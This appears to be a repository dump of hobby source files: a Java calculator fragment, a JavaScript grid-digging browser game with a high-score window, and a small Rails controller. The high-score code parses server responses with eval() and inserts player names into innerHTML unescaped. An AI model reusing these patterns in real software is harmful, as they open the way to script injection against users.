public Double reader() {
Double num = null;
String str;
str = text.getText();
if(!str.isEmpty())
num = Double.valueOf(str);
return num;
}
/**
* The method that read a list of numbers
*
* @author <NAME>
* @return the list of numbers
*/
public List<Double> setReader() {
Double num;
String str;
str = text.getText();
String[] terms = str.split(",");
List<Double> numbers = new ArrayList<Double>();
for (String term : terms) {
numbers.add(Double.parseDouble(term));
}
return numbers;
}
/**
* The method to output the result of calculation to the text board
*
* @author <NAME>
* @param num the result of calculation
*/
public void writer(final Double num) {
if (Double.isNaN(num)) {
text.setText("");
} else {
text.setText(Double.toString(num));
}
}
}
<file_sep>/src/Calculator/Main.java
package Calculator;
public class Main {
private static String OS = System.getProperty("os.name").toLowerCase();
public static boolean isWindows() {
return (OS.indexOf("win")>=0);
}
public static void main(String[] args) {
System.out.println(OS);
if(isWindows()) {
GUIw cal = new GUIw();
cal.init();
}
else
{
GUI cal = new GUI();
cal.init();
}
}
}
| acc41c7a76cf9126f1d7fddef40ba03c63e55850 | [
"Java"
] | 2 | Java | Fair-Child/Calculator | 364685f7df634c5f98ca26428ccec0cf492a3c7c | c8cbbd6f4793ff3df6f87e7a031adc001c3888fb |
refs/heads/master | <file_sep>// Obj2D.js
Obj2D.TYPE_NONE = 0;
Obj2D.TYPE_WALL = 1;
Obj2D.TYPE_CHAR = 2;
Obj2D.TYPE_ENEM = 3;
Obj2D.TYPE_ITEM = 4;
Obj2D.TYPE_EXIT = 5;
Obj2D.DIR_NA = 0;
Obj2D.DIR_UP = 1;
Obj2D.DIR_DN = 2;
Obj2D.DIR_LF = 3;
Obj2D.DIR_RT = 4;
function Obj2D(x,y, arr){
this.amt = 0;
this.complete = false;
this.dir = Obj2D.DIR_NA;
this.moving = false;
//
this.origin = new V2D(x,y);
this.pos = new V2D(x,y);
this.dest = new V2D(x,y);
this.type = Obj2D.TYPE_NONE;
var imgList = new Array();
var imgSel = -1;
setImageList(arr);
// ----------------------------------------- INTERACTION AMONG OBJECTS
this.checkMe = checkMe;
function checkMe(obj){
if( obj.type==Obj2D.TYPE_CHAR ){ // not ENEM
if( this.type==Obj2D.TYPE_ITEM ){ // WAS ITEM
if( imgSel == imgList.length-1){
this.type = Obj2D.TYPE_NONE;
}
}else if( this.type==Obj2D.TYPE_EXIT ){ // WAS EXIT
if( imgSel == imgList.length-1){
obj.complete = true;
}
}else if(this.type==Obj2D.TYPE_NONE){ // IS MONEY
obj.amt += this.amt;
this.amt = 0;
}
}
}
// -----------------------------------------
this.setImageList = setImageList;
function setImageList(arr){
Code.emptyArray(imgList);
var i;
if(arr!=null){
for(i=0;i<arr.length;++i){
imgList.push(arr[i]);
}
}
setSelectedImage(0);
}
this.nextImage = nextImage;
function nextImage(){
setSelectedImage(imgSel+1);
}
this.setSelectedImage = setSelectedImage;
function setSelectedImage(i){
imgSel = Math.max(0,i);
imgSel = Math.min(imgList.length-1,imgSel);
}
this.getSelectedImage = getSelectedImage;
function getSelectedImage(){
if(imgSel>=0){
return imgList[imgSel];
}
return null;
}
// -----------------------------------------
this.moveRight = moveRight;
function moveRight(){
}
/*
// -----------------------------------------
this.render = render;
function render(){
//
}
// -----------------------------------------
this.process = process;
function process(){
//
}
*/
}
<file_sep>// Resource.js
function Resource(){
var tex = new Array();
this.tex = tex;
var snd = new Array();
this.snd = snd;
var map = new Array();
this.map = map;
var imgLoader = new ImageLoader( "images/", new Array(), this );
this.imgLoader = imgLoader;
var fxnLoader = new MultiLoader( new Array(), this );
this.fxnLoader = fxnLoader;
imgLoader.setFxnComplete(load2);
fxnLoader.setFxnComplete(load3);
var fxnComplete = null;
this.load = load;
function load(){
imgLoader.load();
}
this.load2 = load2;
function load2(imgList, ref){
var i;
for(i=0;i<imgList.length;++i){
tex[i] = imgList[i];
}
fxnLoader.load();
}
this.load3 = load3;
function load3(){
if(fxnComplete!=null){
fxnComplete();
}
}
this.setFxnComplete = setFxnComplete;
function setFxnComplete(fxn){
fxnComplete = fxn;
}
this.kill = kill;
function kill(){
}
}
<file_sep>// ClassA.js
function ClassA(){
this.a = 666;
var b = 999;
this.getFxn1 = getFxn1;
function getFxn1(){
return b;
}
this.getFxn2 = getFxn2;
function getFxn2(){
return 44;
}
}
function ClassB(){
Code.extendClass(this,ClassA);
var c = 890;
this.getFxn1 = getFxn1;
function getFxn1(){
return c;//this.base.getFxn1();
}
}
/*
var a = new ClassA();
alert( [a.getFxn1(), a.getFxn2()] );
var b = new ClassB();
alert( [b.getFxn1(), b.getFxn2()] );
*/
/*
var ClassA = Class.extend({
init: function(){
this.a = 666;
},
getFxn: function(){
return this.a;
}
});
*/
/*
var Person = Class.extend({
init: function(isDancing){
this.dancing = isDancing;
},
dance: function(){
return this.dancing;
}
});
*/
/*
function ClassB = ClassA.extend(){
}
*/
<file_sep>// http://www.webmonkey.com/2010/02/make_oop_classes_in_javascript/
// http://stackoverflow.com/questions/7486825/javascript-inheritance
// global vars
var resource = null;
var winScores = null;
var winContent = null;
var commScore = null;
var userName = "";
var canvas = null;
var debug = null;
var lattice = null;
var ticker = null;
var keyboard = null;
var RECT_SIZE = 25;
var GRID_SIZE_X = 0;
var GRID_SIZE_Y = 0;
var GRID_SIZE = 0;
var frameSpeed = 20;
var windowsHTMLID = "windows";
var debugHTMLID = "output";
var canvasHTMLID = "canvas0";
var titleHTMLID = "title";
var titleBase = "Bakos' Ruby Data Mining";
var title;
//
var time = 0;
var score = 0;
var charMain = null;
var charListAll = new Array();
var level = 0;
var levelMax = 1;
var speedChar, speedEnem, speedVar, seeDistance;
var hitDistance = 0.5;
var mapSolution = null;
// init function called on page load complete
function startLoad(){
var winWid = 250; var winHei = 300;
winScores = new Win( document.getElementById(windowsHTMLID), 'Bakos\' Ruby Data Mining', 5,5, winWid,winHei );
winContent = document.createElement('div');
winContent.innerHTML = "...";
winContent.style.width = winWid+"px";
winContent.style.height = winHei+"px";
winContent.style.color = "#FFFFFF";
winContent.style.textAlign = 'center';
winContent.style.fontSize = "12px";
winContent.style.overflow = "hidden";
winScores.setContent(winContent);
commScore = new Comm();
commScore.addFunction(Comm.EVENT_INDEX, updateHighScores);
//commScore.addScore("billybob",12345);
//commScore.listScores();
//startLoadOld();
initName();
}
function initName(){
winContent.innerHTML = 'Please Enter Your Name:<br /><input type="textfield" id="inputUserName" maxlength="15" size="12"></input><br /><input type="button" value="Start Game!" onclick="endName();"></input>';
}
function endName(){
var ele = document.getElementById( "inputUserName" );
userName = ele.value;
if(userName.length<3){
return;
}
commScore.addScore(userName,0);
winScores.setTitle("High Scores");
startLoadOld();
}
function updateHighScores(resp){
var data = eval('('+resp+')');
var len = data.length;
var i;
var scoreData = "";
for(i=0;i<len;++i){
scoreData = scoreData + Code.padString(data[i].name,16, '.', true) + "." + Code.padString('$'+data[i].score+'K',16, '.', false) + "<br/\>";
}
winContent.innerHTML = "<b>Welcome "+userName+"!</b><br />"+scoreData;
}
function startLoadOld(){
resource = new ResourceBakos();
resource.setFxnComplete(loadAll);
resource.load();
}
function loadAll(){
debug = new Output( document.getElementById(debugHTMLID) );
debug.setMaxChars(75); debug.setMaxLines(1);
title = new Output( document.getElementById(titleHTMLID) );
title.setMaxChars(35); title.setMaxLines(1);
canvas = new Canvas( document.getElementById(canvasHTMLID) );
GRID_SIZE_X = Math.floor(canvas.width/RECT_SIZE);
GRID_SIZE_Y = Math.floor(canvas.height/RECT_SIZE);
GRID_SIZE = GRID_SIZE_X*GRID_SIZE_Y;
lattice = new Lattice(GRID_SIZE_X,GRID_SIZE_Y, Voxel);
ticker = new Ticker(frameSpeed);
keyboard = new Keyboard();
keyboard.addListeners(); // keyboard.removeListeners();
mapSolution = new Map(GRID_SIZE_X,GRID_SIZE_Y);
levelMax = resource.map.length;
level = 1;
continueFxn();
}
function continueFxn(){
ticker.stop();
ticker.removeFunction(Ticker.EVENT_TICK,continueFxn);
ticker.setFrameSpeed(frameSpeed);
speedChar = 0.25 + 0.05*level;
speedEnem = 0.03 + 0.01*level;
speedVar = 0.15*speedEnem;
seeDistance = 5.0 + 0.5*level;
loadLevel(level);
charMain.amt = score;
updateTitle(charMain.amt);
updateEnemyMap();
addListeners();
}
function updateTitle(str,obj){
if(obj==true){
title.write(str);
}else{
title.write(titleBase+" : $"+str+"K");
}
}
// INTERACTION - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
var count = 0;
var gotoPause = true;//false;
function showPauseScreen(){
var metrics, str, xPos, yPos;
var spacing = 10;
gotoPause = true;
removeListeners();
var context = canvas.getContext();
// bg
var gr = context.createRadialGradient(canvas.width/2,canvas.height/2,0, canvas.width/2,canvas.height/2,500);
gr.addColorStop(0,'rgba(0,0,0,0.9)');
gr.addColorStop(0.5,'rgba(0,0,0,.8)');
gr.addColorStop(1,'rgba(0,0,0,.6)');
context.fillStyle = gr;
context.fillRect(0, 0, canvas.width, canvas.height);
context.fill();
//text
context.textAlign = "center";
context.baseLine = "middle";
context.fillStyle = "#FFFFFF";
//
context.font = "30px sans-serif";
context.fillText("Paused",canvas.width/2,30);
context.font = "15px sans-serif";
str = "You (Bakos)";
metrics = context.measureText(str);
context.fillText(str,(canvas.width+metrics.width)/2+spacing,100);
str = "Enemy (Python)";
metrics = context.measureText(str);
context.fillText(str,(canvas.width+metrics.width)/2+spacing,130);
str = "Dirt (Dig and Explore)";
metrics = context.measureText(str);
context.fillText(str,(canvas.width+metrics.width)/2+spacing,160);
str = "Gems (Ruby)";
metrics = context.measureText(str);
context.fillText(str,(canvas.width+metrics.width)/2+spacing,190);
str = "DataBase (Exit)";
metrics = context.measureText(str);
context.fillText(str,(canvas.width+metrics.width)/2+spacing,220);
//icons
img = resource.tex[ResourceBakos.TEX_BAKOS_1];
context.drawImage(img, (canvas.width-img.width)/2-spacing, 100-17);
img = resource.tex[ResourceBakos.TEX_PYTHON_1];
context.drawImage(img, (canvas.width-img.width)/2-spacing, 130-17);
img = resource.tex[ResourceBakos.TEX_DIRT_1];
context.drawImage(img, (canvas.width-img.width)/2-spacing, 160-17);
img = resource.tex[ResourceBakos.TEX_RUBY_3];
context.drawImage(img, (canvas.width-img.width)/2-spacing, 190-17);
img = resource.tex[ResourceBakos.TEX_DB_3];
context.drawImage(img, (canvas.width-img.width)/2-spacing, 220-17);
// instructions
context.fillStyle = "#FFFFFF";
context.font = "15px sans-serif";
context.fillText("p to un/pause",canvas.width/2,280);
context.fillText("u/d/l/r to move",canvas.width/2,300);
context.fillText("Objective: Collect as many ruby gems as possible",canvas.width/2,350);
addPauseListener();
}
function hidePauseScreen(){
gotoPause = false;
removePauseListener();
addListeners();
}
function showCompleteScreen(){
var i, j, rad, metrics, str;
var context = canvas.getContext();
context.fillStyle = "rgba(0, 0, 0, 0.9)";
context.fillRect(0, 0, canvas.width, canvas.height);
context.fill();
context.save();
context.scale(2,2);
img = resource.tex[ResourceBakos.TEX_DB_3];
for(i=0;i<12;++i){
for(j=0;j<8;++j){
context.drawImage(img, i*25,j*25);
}
}
context.restore();
context.save();
context.scale(2,2);
context.translate(137.5,75);
img = resource.tex[ResourceBakos.TEX_RUBY_3];
rad = 0;
for(i=0;i<180;++i){
context.drawImage(img, Math.cos(i/4)*rad,Math.sin(i/4)*rad);
rad+=Math.pow(100/(i+1),.25);
}
context.restore();
context.save();
context.setTransform(1,0,0,1,0,0);
context.scale(2,2);
context.translate(112.5,50);
img = resource.tex[ResourceBakos.TEX_RUBY_3];
context.drawImage(img, 25,0);
context.drawImage(img, 0,25);
context.drawImage(img, 50,25);
context.drawImage(img, 25,50);
img = resource.tex[ResourceBakos.TEX_BAKOS_1];
context.drawImage(img, 25,25);
context.restore();
img = resource.tex[ResourceBakos.TEX_PYTHON_1];
context.drawImage(img, 535,360);
//text
context.textAlign = "center";
context.baseLine = "middle";
context.fillStyle = "#FFFFFF";
context.shadowColor = "#990033";
context.shadowOffsetX = 0;
context.shadowOffsetY = 0;
context.shadowBlur = 25;
context.font = "30px sans-serif";
str = "$"+score+"K";
for(i=0;i<15;++i){
context.fillText(str,canvas.width/2,40);
}
context.font = "20px sans-serif";
str = "(To replay, refresh screen)";
for(i=0;i<15;++i){
context.fillText(str,canvas.width/2,380);
}
}
function enterFrameFxn(){
++time;
processScene();
renderScene();
checkEnd();
if(gotoPause){
showPauseScreen();
}
}
function checkEnd(){
// check for exit
if(charMain.complete){
removeListeners();
len = lattice.getLength();
for(i=0;i<len;++i){
vox = lattice.getIndex(i);
arr = vox.getChars();
for(j=0;j<arr.length;++j){
ch = arr[j];
ch.setSelectedImage(666);
}
vox.setBG( new Array() );
}
renderScene();
score = charMain.amt;
updateTitle('Completed Level '+level+'!', true);
level++;
// HIGH SCORE ADD
commScore.addScore(userName,score);
if(level<=levelMax){
ticker.setFrameSpeed(1000);
ticker.addFunction(Ticker.EVENT_TICK,continueFxn);
ticker.start();
}else{
updateTitle('YOU BEAT THE GAME $'+score+'K!', true);
showCompleteScreen();
}
}
}
function keyDownPauseFxn(key){
if(key==Keyboard.KEY_LET_P){
hidePauseScreen();
}
}
function keyDownFxn(key){
if(!charMain.moving){
if(key==Keyboard.KEY_UP){
charMain.dir = Obj2D.DIR_UP;
}else if(key==Keyboard.KEY_DN){
charMain.dir = Obj2D.DIR_DN;
}else if(key==Keyboard.KEY_LF){
charMain.dir = Obj2D.DIR_LF;
}else if(key==Keyboard.KEY_RT){
charMain.dir = Obj2D.DIR_RT;
}
}
if(key==Keyboard.KEY_LET_P){
gotoPause = true;
}
}
function onClickFxn(o){
//
}
function resizeEventFxn(e){
//
}
function addListeners(){
window.onresize = resizeEventFxn;
canvas.addListeners();
canvas.addFunction(Canvas.EVENT_CLICK,onClickFxn);
ticker.addFunction(Ticker.EVENT_TICK,enterFrameFxn);
ticker.start();
keyboard.addFunction(Keyboard.EVENT_KEY_DOWN,keyDownFxn);
}
function removeListeners(){
window.onresize = null;
canvas.removeListeners();
canvas.removeFunction(Canvas.EVENT_CLICK,onClickFxn);
ticker.removeFunction(Ticker.EVENT_TICK,enterFrameFxn);
ticker.stop();
keyboard.removeFunction(Keyboard.EVENT_KEY_DOWN,keyDownFxn);
}
function addPauseListener(){
keyboard.addFunction(Keyboard.EVENT_KEY_DOWN,keyDownPauseFxn);
}
function removePauseListener(){
keyboard.removeFunction(Keyboard.EVENT_KEY_DOWN,keyDownPauseFxn);
}
// PROCESSING - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
function processScene(){
var i, j, k, len, ch, obj, arr, next, dir, vox, v, u, canMove;
next = new V2D(0,0); dir = new V2D(0,0);
var xD, yD, dist, speed, move;
// MOVE CHARS
for(i=0;i<charListAll.length;++i){
ch = charListAll[i];
if( ch.type == Obj2D.TYPE_CHAR){
speed = speedChar;
}else{ // ENEMY LOGIC GOETH HERE
speed = speedEnem + Math.random()*speedVar - 0.5*speedVar;
xD = ch.pos.x - charMain.pos.x; yD = ch.pos.y - charMain.pos.y;
dist = Math.sqrt(xD*xD + yD*yD);
if(dist<hitDistance){
resetOrigins();
break;
}
if(!ch.moving && ch.dir==Obj2D.DIR_NA){
if(dist<seeDistance){
move = mapSolution.getBestMove(ch.pos.x,ch.pos.y);
if(move==Map.MOVE4_UP){ ch.dir=Obj2D.DIR_UP;
}else if(move==Map.MOVE4_DN){ ch.dir=Obj2D.DIR_DN;
}else if(move==Map.MOVE4_LF){ ch.dir=Obj2D.DIR_LF;
}else if(move==Map.MOVE4_RT){ ch.dir=Obj2D.DIR_RT;
}else{
//do some random directions
}
}
}
}
dir.x = 0; dir.y = 0;
if( ch.dir != Obj2D.DIR_NA){
if(ch.dir==Obj2D.DIR_UP){ // set up direction from symbol
dir.y = -1;
}else if(ch.dir==Obj2D.DIR_DN){
dir.y = 1;
}else if(ch.dir==Obj2D.DIR_LF){
dir.x = -1;
}else if(ch.dir==Obj2D.DIR_RT){
dir.x = 1;
}
if( ch.moving ){ // already moving
next.x = ch.pos.x+dir.x*speed; next.y = ch.pos.y+dir.y*speed;
u = lattice.getElement(ch.pos.x,ch.pos.y); // AM IN
v = lattice.getElement(Math.max(0,Math.min(GRID_SIZE_X-1,Math.floor(next.x))),
Math.max(0,Math.min(GRID_SIZE_Y-1,Math.floor(next.y)))); // AVG IN
w = lattice.getElement(ch.dest.x,ch.dest.y); // WILL BE IN
if(u!=v){// switched voxels
u.removeChar(ch);
v.addChar(ch);
w.setBG( new Array() );
if( ch.type == Obj2D.TYPE_CHAR){// REFRESH AI MAP - ONLY NEED TO DO WHEN CHAR CHANGES LOCATION
updateEnemyMap();
}
}
if( (ch.pos.x<ch.dest.x && ch.dest.x<=next.x) || (ch.pos.x>ch.dest.x && ch.dest.x>=next.x) ||
(ch.pos.y<ch.dest.y && ch.dest.y<=next.y) || (ch.pos.y>ch.dest.y && ch.dest.y>=next.y) ){
ch.pos.x = ch.dest.x; ch.pos.y = ch.dest.y;
ch.moving = false; ch.dir = Obj2D.DIR_NA;
}else{
/*var context = canvas.getContext();
context.strokeStyle = "#000000";
context.lineWidth = 5;
context.beginPath();
context.moveTo(RECT_SIZE*(ch.pos.x+0.5),RECT_SIZE*(ch.pos.y+0.5));
context.lineTo(RECT_SIZE*(next.x+0.5),RECT_SIZE*(next.y+0.5))
context.stroke();
context.closePath();*/
ch.pos.x = next.x; ch.pos.y = next.y;
}
}else{ // start moving if possible
next.x = ch.pos.x+dir.x; next.y = ch.pos.y+dir.y;
if( lattice.inLimits(next.x,next.y) ){ // available - movement
vox = lattice.getElement(next.x,next.y);
arr = vox.getChars();
canMove = true;
for(j=0;j<arr.length;++j){
obj = arr[j];
if( obj.type==Obj2D.TYPE_WALL || obj.type==Obj2D.TYPE_ITEM || obj.type==Obj2D.TYPE_EXIT ){
canMove = false;
break;
}
}
if(canMove){
for(j=0;j<arr.length;++j){
obj = arr[j];
if( obj.type==Obj2D.TYPE_NONE || obj.type==Obj2D.TYPE_EXIT){
debug.write("Got $"+obj.amt+"K!");
obj.checkMe(ch);
vox.removeChar(obj);
updateTitle(ch.amt);
}
}
ch.dest.x = next.x; ch.dest.y = next.y;
ch.moving = true;
}else{
obj.nextImage();
obj.checkMe(ch);
ch.moving = false; ch.dir = Obj2D.DIR_NA;
}
}else{ // obstruction/limit - cannot move
ch.moving = false; ch.dir = Obj2D.DIR_NA;
}
}
}
}
}
function resetOrigins(){ // for getting hit
var i, arr, obj;
for(i=0;i<charListAll.length;++i){
obj = charListAll[i];
obj.pos.x = obj.origin.x; obj.pos.y = obj.origin.y;
obj.dir = Obj2D.DIR_NA;
obj.moving = false;
}
var diff = charMain.amt - score;
score = score + Math.floor(diff/2);
charMain.amt = score;
updateTitle(charMain.amt);
}
// RENDERING - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
function renderScene(){
var context = canvas.getContext();
var img, obj, vox, arr, x, y, i, j, len;
// bg
var bgImage = resource.tex[ResourceBakos.TEX_BG_ROW_1];
context.fillStyle = context.createPattern(bgImage,'repeat');
context.fillRect(0,0,canvas.width,canvas.height);
len = lattice.getLength();
// BG
x = 0; y = 0;
for(i=0;i<len;++i){
vox = lattice.getIndex(i);
arr = vox.getBG();
for(j=0;j<arr.length;++j){
img = arr[j];
context.drawImage(img, x*RECT_SIZE,y*RECT_SIZE);
}
++x; if(x>=GRID_SIZE_X){ x=0; ++y; }
}
// OBJECTS
x = 0; y = 0;
for(i=0;i<len;++i){
vox = lattice.getIndex(i);
arr = vox.getChars();
for(j=0;j<arr.length;++j){
obj = arr[j];
img = obj.getSelectedImage();
if(img!=null){
context.drawImage(img, obj.pos.x*RECT_SIZE,obj.pos.y*RECT_SIZE);
}
}
++x; if(x>=GRID_SIZE_X){ x=0; ++y; }
}
/*// TEXT
x = 0; y = 0;
var str, metrics, xPos, yPos;
for(i=0;i<len;++i){
context.fillStyle = "#000000";
context.font = "10px sans-serif";
str = ""+mapSolution.getIndex(i)+"";
metrics = context.measureText(str);
//alert(metrics.height);
xPos = x*RECT_SIZE + metrics.width/2;
yPos = (y+1)*RECT_SIZE - 10;// - metrics.height/2;
context.fillText(str,xPos,yPos);
++x; if(x>=GRID_SIZE_X){ x=0; ++y; }
}
*/
}
function updateEnemyMap(){
var index,i, j, len, vox, obj, arr;
mapSolution.clear(); // INIT TO EVERYTHING N/A
for(i=0;i<GRID_SIZE;++i){
vox = lattice.getIndex(i);
arr = vox.getChars();
for(j=0;j<arr.length;++j){
obj = arr[j];
if( obj.type==Obj2D.TYPE_WALL || obj.type==Obj2D.TYPE_ITEM || obj.type==Obj2D.TYPE_EXIT){
mapSolution.setIndex(i, Map.WALL);
break;
}
}
}
mapSolution.createPaths(charMain.dest.x,charMain.dest.y);
//mapSolution.createPaths(Math.round(charMain.pos.x),Math.round(charMain.pos.y)); // PROPAGATE PATH NUMBERS
}
// LEVEL AUTO-LOADING -------------------------------------------------
function loadLevel(i){
lattice.clear(); Code.emptyArray(charListAll);
var levelString = resource.map[i-1];
var i, len, vox, obj, x,y, arr, ch;
len = levelString.length;
x = 0; y = 0;
for(i=0;i<len;++i){
ch = levelString.charAt(i);
vox = lattice.getIndex(i);
// BG
switch(ch){
case ResourceBakos.SYM_NONE :
vox.setBG( new Array() );
break;
case ResourceBakos.SYM_MAIN_CHAR :
vox.setBG( new Array() );
break;
default:
vox.setBG( new Array(resource.tex[ResourceBakos.TEX_DIRT_1]) );
break;
}
// CHAR
switch(ch){
case ResourceBakos.SYM_DIRT :
break;
case ResourceBakos.SYM_RUBY :
obj = new Obj2D(x,y, new Array(null, resource.tex[ResourceBakos.TEX_RUBY_1],resource.tex[ResourceBakos.TEX_RUBY_2],resource.tex[ResourceBakos.TEX_RUBY_3]));
obj.type = Obj2D.TYPE_ITEM; obj.amt = Math.floor(Math.random()*10+10); vox.addChar(obj);
break;
case ResourceBakos.SYM_ROCK :
obj = new Obj2D(x,y, new Array(null, resource.tex[ResourceBakos.TEX_ROCK_1],resource.tex[ResourceBakos.TEX_ROCK_2],resource.tex[ResourceBakos.TEX_ROCK_3]));
obj.type = Obj2D.TYPE_WALL; vox.addChar(obj);
break;
case ResourceBakos.SYM_PYTHON :
obj = new Obj2D(x,y, new Array(resource.tex[ResourceBakos.TEX_PYTHON_1]));
obj.type = Obj2D.TYPE_ENEM; vox.addChar(obj); charListAll.push(obj);
break;
case ResourceBakos.SYM_MAIN_CHAR :
obj = new Obj2D(x,y, new Array(resource.tex[ResourceBakos.TEX_BAKOS_1]));
obj.type = Obj2D.TYPE_CHAR; vox.addChar(obj); charListAll.push(obj);
break;
case ResourceBakos.SYM_DB :
obj = new Obj2D(x,y, new Array(null, resource.tex[ResourceBakos.TEX_DB_1],resource.tex[ResourceBakos.TEX_DB_2],resource.tex[ResourceBakos.TEX_DB_3],resource.tex[ResourceBakos.TEX_DB_3]));
obj.type = Obj2D.TYPE_EXIT; vox.addChar(obj);
break;
}
if(ch==ResourceBakos.SYM_MAIN_CHAR){ charMain = obj; }
++x; if(x>=GRID_SIZE_X){ x = 0; ++y; }
}
}
<file_sep>class BullshitController < ApplicationController
def index
redirect_to('/game/game.html');
end
end
<file_sep>// Code.js
function Code(){
alert('you shouldn\'t instantiate the Code class');
}
// array functions ----------------------------------------------
Code.elementExists = function(a,o){
var i;
for(i=0;i<a.length;++i){
if(a[i]==o){ return true; }
}
return false;
}
Code.addUnique = function(a,o){
if( !Code.elementExists(a,o) ){ a.push(o); }
}
Code.removeElement = function(a,o){ // preserves order
var i;
for(i=0;i<a.length;++i){
if(a[i]==o){
while(i<a.length){
a[i] = a[i+1];
++i;
}
a.pop();
break;
}
}
}
Code.emptyArray = function(a){
while(a.length>0){ a.pop(); }
}
// conversion functions ----------------------------------------------
Code.getHex = function (intVal){
return '#'+intVal.toString(16);
}
// string functions ----------------------------------------------
Code.padString = function(str,len, ch, left){
if(str.length>=len){
return str.substring(0,len);
}
if(left==null){
left = true;
}
var rem = len - str.length;
//alert(rem);
var add = '';
while(add.length<rem){
add = add + ch;
}
if(left){
return str+add;
}
return add+str;
}
// class functions ----------------------------------------------
Code.extendClass = function(child,parent){
parent.apply(child); child.base = new parent; child.base.child = child;
}
// ? functions ----------------------------------------------
<file_sep>// Ticker.js
Ticker.EVENT_TICK = "tkrevnttik";
function Ticker(delta){
// this.eventObject = eventObject;// public access
// var eventObject = null; // for getting event.pageX, pageY, ...
var timer = null;
var deltaT = 0;
var running = false;
var dispatch = new Dispatch();
setFrameSpeed(delta);
this.setFrameSpeed = setFrameSpeed;
function setFrameSpeed(delta){
deltaT = delta;
}
this.getFrameSpeed = getFrameSpeed;
function getFrameSpeed(){
return deltaT;
}
// dispatch -----------------------------------------------------------
this.addFunction = addFunction;
function addFunction(str,fxn){
dispatch.addFunction(str,fxn);
}
this.removeFunction = removeFunction;
function removeFunction(str,fxn){
dispatch.removeFunction(str,fxn);
}
this.alertAll = alertAll;
function alertAll(str,o){
dispatch.alertAll(str,o);
}
// fxns -----------------------------------------------------------
this.start = start;
function start(){
if(timer!=null){ clearTimeout(timer); timer = null}
running = true;
timer = setTimeout(next,deltaT);
}
this.stop = stop;
function stop(){
if(timer!=null){ clearTimeout(timer); timer = null}
running = false;
}
function next(e){
if(running){
//alert([e.pageX,e.pageY]);
if(timer!=null){ clearTimeout(timer); timer = null}
dispatch.alertAll(Ticker.EVENT_TICK,e);
timer = setTimeout(next,deltaT);
}
}
}
<file_sep>// Voxel.js
function Voxel(){
var background = new Array();
var chars = new Array();
var res = false;
// -----------------------------------------------
this.clear = clear;
function clear(){
Code.emptyArray(background);
Code.emptyArray(chars);
res = false;
}
// -----------------------------------------------
this.setBG = setBG;
function setBG(arr){
Code.emptyArray(background);
var i;
for(i=0;i<arr.length;++i){
background.push(arr[i]);
}
}
this.getBG = getBG;
function getBG(){
return background;
}
// -----------------------------------------------
this.setChars = setChars;
function setChars(arr){
Code.emptyArray(chars);
var i;
for(i=0;i<arr.length;++i){
chars.push(arr[i]);
}
}
this.getChars = getChars;
function getChars(){
return chars;
}
this.addChar = addChar;
function addChar(ch){
chars.push(ch);
}
this.removeChar = removeChar;
function removeChar(ch){
Code.removeElement(chars,ch);
}
// -----------------------------------------------
this.getReserved = getReserved;
function getReserved(){
return res;
}
this.setReserved = setReserved;
function setReserved(){
res = true;
}
}
<file_sep>// Win.js
Win.EVENT_RESIZE = 'winevtrsz';
Win.EVENT_START_DRAG = 'winevtstadrg';
Win.EVENT_STOP_DRAG = 'winevtstodrg';
//Win.DEPTH = 10;
Win.DEPTH_TOP = 0;
function Win(parent, title, xPos,yPos, wid,hei){
// data elements
var winTitle = '';
var winWidth = 0;
var winHeight = 0;
var winBarHeight = 20;
var winX = 0;
var winY = 0;
var dispatch = null;
var depth = 0;
// state elements
var dragStartX = 0;
var dragStartY = 0;
var dragOffsetX = 0;
var dragOffsetY = 0;
var isDragging = false;
// document elements
var divParent = null;
var divWindow = null;
var divTitle = null;
var divMenubar = null;
var divBGMenu = null;
var divBG = null;
// init everything
divWindow = document.createElement('div');
divMenubar = document.createElement('div');
divContent = document.createElement('div');
divTitle = document.createElement('div');
divBGMenu = document.createElement('div');
divBG = document.createElement('div');
divWindow.appendChild(divBG);
divWindow.appendChild(divBGMenu);
divWindow.appendChild(divTitle);
divWindow.appendChild(divContent);
divWindow.appendChild(divMenubar);
// base properties
divWindow.style.position = 'absolute';
divBG.style.position = 'absolute';
divBGMenu.style.position = 'absolute';
divTitle.style.position = 'absolute';
divTitle.style.textAlign = 'center';
divTitle.style.fontSize = '16px';
divTitle.style.fontWeight = 'bold';
divMenubar.style.position = 'absolute';
divMenubar.style.opacity = 0.0;
divMenubar.style.backgroundColor = '#00FF00';
divContent.style.position = 'absolute';
divContent.style.textAlign = 'center';
divContent.style.fontSize = '14px';
dispatch = new Dispatch();
// set properties
setTitle(title);
setParent(parent);
setSize(wid,hei);
setPosition(xPos,yPos);
setWindowColor('#000000',0.85);
setMenuColor('#330000',0.9);
setTitleColor('#FF3333',0.9);
setContentColor('#FFFFFF',0.9);
setDepthTop();
addListeners();
// get/set functions
this.addListeners = addListeners;
function addListeners(){
divMenubar.onmousedown = startDragMenu;
divMenubar.onmouseup = stopDragMenu;
document.onmousemove = checkMouseMove;
}
this.removeListeners = removeListeners;
function removeListeners(){
divMenubar.onmousedown = null;
divMenubar.onmouseup = null;
document.onmousemove = null;
}
this.setTitleColor = setTitleColor;
function setTitleColor(color,alpha){
if(alpha==null){
alpha = 0.50;
}
divTitle.style.opacity = alpha;
divTitle.style.color = color;
}
this.setMenuColor = setMenuColor;
function setMenuColor(color,alpha){
if(alpha==null){
alpha = 0.50;
}
divBGMenu.style.opacity = alpha;
divBGMenu.style.backgroundColor = color;
}
this.setWindowColor = setWindowColor;
function setWindowColor(color, alpha){
if(alpha==null){
alpha = 0.50;
}
divBG.style.opacity = alpha;
divBG.style.backgroundColor = color;
}
this.setSize = setSize;
function setSize(wid,hei){
winBarHeight = 20;
winWidth = wid;
winHeight = hei;
divTitle.style.top = '0px';
divTitle.style.width = winWidth+'px';
divTitle.style.height = winBarHeight+'px';
divMenubar.style.top = '0px';
divMenubar.style.width = winWidth+'px';
divMenubar.style.height = winBarHeight+'px';
divBGMenu.style.top = '0px';
divBGMenu.style.width = winWidth+'px';
divBGMenu.style.height = winBarHeight+'px';
divBG.style.top = winBarHeight+'px';
divBG.style.width = winWidth+'px';
divBG.style.height = winHeight+'px';
divContent.style.top = winBarHeight+'px';
divContent.style.width = winWidth+'px';
divContent.style.height = winHeight+'px';
}
this.setPosition = setPosition;
function setPosition(xPos,yPos){
winX = xPos;
winY = yPos;
divWindow.style.left = winX+'px';
divWindow.style.top = winY+'px';
}
this.setTitle = setTitle;
function setTitle(title){
winTitle = title;
divTitle.innerHTML = winTitle;
}
this.setParent = setParent;
function setParent(parent){
if(divParent!=null){
